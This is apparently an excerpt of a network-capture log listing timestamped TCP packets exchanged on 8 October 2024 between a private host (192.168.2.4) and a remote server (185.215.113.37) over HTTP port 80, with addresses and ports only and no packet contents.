Oct 8, 2024 08:22:13.296830893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296835899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296847105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296859980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.296876907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.296926022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296931028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296942949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.296973944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297055960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297060966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297070026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297075033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297079086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297084093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297087908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297105074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297122955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297131062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297132969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297137022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297178984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297197104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297202110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297240019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297276020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297281981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297291040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297296047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297300100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297337055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297369003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297375917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297380924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297390938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297394991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297400951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297429085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297458887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297463894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297468901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297472954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297477007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297482014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297506094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297524929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297540903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297568083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297573090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297581911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297586918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297590971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297612906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297637939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297660112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297663927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297719002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297743082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297748089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297758102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297761917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297766924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297772884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297791004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297807932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297818899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297822952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.297833920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.297862053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.407119989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.412146091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625117064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625138044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625147104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625157118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625165939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625174999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625183105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625191927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625215054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625250101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625260115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625269890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625278950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625288010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625291109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625291109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625315905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625334024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625338078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625349998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625386000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625405073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625530005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625579119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625587940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625600100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625623941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625631094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625636101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625662088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625662088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625693083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625705957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625715971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625742912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625752926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625754118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625782013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625786066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625792980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625802994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625824928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625833035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625828028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625828028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625842094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625860929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625860929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625884056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625893116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625936985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.625972033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625979900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625989914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.625998974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626008034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626017094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626019955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626025915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626040936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626048088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626063108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626099110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626099110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626104116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626115084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626125097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626152039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626184940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626224995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626235008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626244068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626252890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626261950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626274109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626306057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626326084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626364946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626374960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626384020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626393080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626401901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626411915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626445055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626446009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626454115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626465082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626473904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626482964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626498938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626523972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626543045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626547098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626559019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626590967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626616001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626626015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626635075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626642942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626652002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626660109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626668930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626671076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626693964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626724005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626787901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626796961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626806021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626815081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626823902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626832962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626835108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626842976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626854897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626854897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626873970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626904964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.626929998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626940012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626948118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626956940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.626976013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627007008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627044916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627054930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627063036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627073050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627082109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627099991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627127886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627127886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627127886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627140045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627149105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627157927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627182961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627213001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627310038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627319098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627326965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627335072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627343893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627351999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627361059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627362013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627414942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627414942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627422094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627432108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627440929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627449989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627471924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627471924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627509117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627567053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627578020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627585888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627590895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627594948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627599955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627650976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627650976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627685070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627693892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627701998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627711058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627720118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627727985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627737045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627737045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627760887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627794027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627825975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627834082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627841949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627851009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627857924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627871037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627880096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627883911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627888918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627897978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627912045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627913952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627921104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627926111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627931118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627934933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:13.627953053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:13.627978086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.695308924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695326090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695399046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.695399046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.695537090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695547104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695557117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695570946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695580959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695589066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695595026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.695599079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695607901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695617914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695620060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.695630074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695652008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.695672989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.695682049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695692062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695725918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.695756912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695769072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695800066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.695827007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.695873022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695883036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695890903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695899963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695909023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695918083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695919991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.695929050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695939064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695939064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.695952892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.695967913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.695967913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.695992947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.695998907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696011066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696018934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696027994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696048021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696075916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696131945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696142912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696150064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696160078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696167946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696177006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696177959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696186066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696196079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696201086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696212053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696223021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696222067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696243048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696269035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696386099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696397066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696405888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696414948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696423054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696430922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696455956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696481943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.696513891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696523905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696532011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.696541071 CEST	80	49730	185.215.113.37	192.168.2.4
